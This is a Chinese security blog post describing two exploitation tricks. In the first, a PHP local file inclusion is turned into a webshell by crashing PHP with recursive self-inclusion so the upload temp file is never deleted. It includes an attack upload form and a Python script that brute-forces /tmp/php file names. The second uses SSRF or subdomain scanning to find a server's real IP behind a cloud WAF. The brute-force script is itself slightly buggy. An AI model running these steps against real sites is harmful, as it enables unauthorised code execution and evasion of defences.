Skip to content

鸡肋漏洞利用两则

Posted in 每刻,知识分享

放了好久的存稿了,慰藉长草的博客

仅仅存在一个php本地文件包含,并存在诸多限制的情况

这时候你可以读取的文件非常的有限,且url fopen wrappers被关闭的情况下,无法读取源码让人很头痛…感觉无法进行下一步,此时,可以利用文件包含去触发一个sigsegv。

php sigsegv信号的触发条件主要是溢出与非法内存访问,在sigsegv信号之后,php程序会异常终止。

我们要利用php程序的异常终止来切断一个正常的流程,我们想到了上传流程。

php可以接收上传文件,创建临时文件,经过相应的处理函数(move_uploaded_file())处理后,删除临时文件,最后退出php程序。

存在文件包含的地方不一定有move_uploaded_file(),但是上传文件一定会产生临时文件,我们如果能切断这个流程,让php在删除临时文件之前退出,我们也就能成功的向tmp目录下达成任意文件写入(具体默认临时文件目录随系统有所改变)。于是,一个鸡肋的本地文件包含就可以在最小条件下getshell。

那么如何触发sigsegv呢?我们构造一个溢出,递归包含自身,也就能中断正常的上传流程。

<?php include($_GET['file']); ?>

从get参数中获取文件名,include进来,那么包含文件本身就会无限的去包含file参数,达到了我们的目的。

梳理一下步骤。

  1. 目标站点a.com/b.php的file参数存在lfi
  2. 构造上传页面为

<form enctype="multipart/form-data" action="http://a.com/b.php?file=b.php" METHOD=POST> <input name="userfile" type="file"> <input type="submit" value="send"> </form>
  1. 把写好的一句话通过上传页面上传,此时因为正常的上传文件处理流程被破坏,临时文件目录中保留了我们所写的webshell,文件名为phpxxxxxx,x为数字或者大小写字母。
  2. 写个python脚本去爆破。
import itertools

import requests

import string

print('[+] Bruteforcing the inclusion')

a = "0123465789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

for key in itertools.product(a,repeat=6):  

    url = 'http://a.com/b.php?file=/tmp/php'+key

    crack = requests.get(url);

    if crack.content.find('success') != -1:

        print url


注意写好的shell有一个可以识别的明显标志,我这里是打印success供脚本识别。
总共61^6种可能,实际爆破需要比较长的时间,可以重复步骤2-3多次提高成功率,同时使用多线程提高速度

联想一下可能组合的点,比如kindeditor旧版本中存在文件遍历漏洞,此时和这里组合,可以达到快速getshell的目的。

鸡肋ssrf + cloud waf = bypass cloud waf

场景是当前ssrf无回显,无区别的反应时间,前一段时间ricter师傅发表了一篇文章,乌云drops和他的blog上都有,利用gopher协议拓展攻击面。但是很多时候gopher都是不能用的。这时候ssrf的重要作用就是获取服务器真实ip。

现在很多网站都喜欢用cdn加速自有安全防护,这样出现漏洞也得想方设法绕过waf限制,自认为提高了被攻破的难度,但实际上只要存在一个ssrf,获取了服务器真实ip后就可以绕过加速节点,直接访问服务器,服务器自身没有部署防护的话也就无法抵挡攻击。

获取服务器本身真实ip的方法也不止ssrf一种,有时也可扫描子域名或者同一企业的其他下属网站,有很大可能性是部署在同一个服务器上的,有时并没有使用第三方加速+云防护服务,同样可以获得真实ip来bypass waf。

参考资料

http://stackoverflow.com/questions/6327607/why-does-this-php-function-give-a-segmentation-fault-sigsegv

https://mukarramkhalid.com/bypass-sucuri-cloudflare-firewall/

https://dustri.org/b/from-lfi-to-rce-in-php.html

http://www.t086.com/article/4782

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *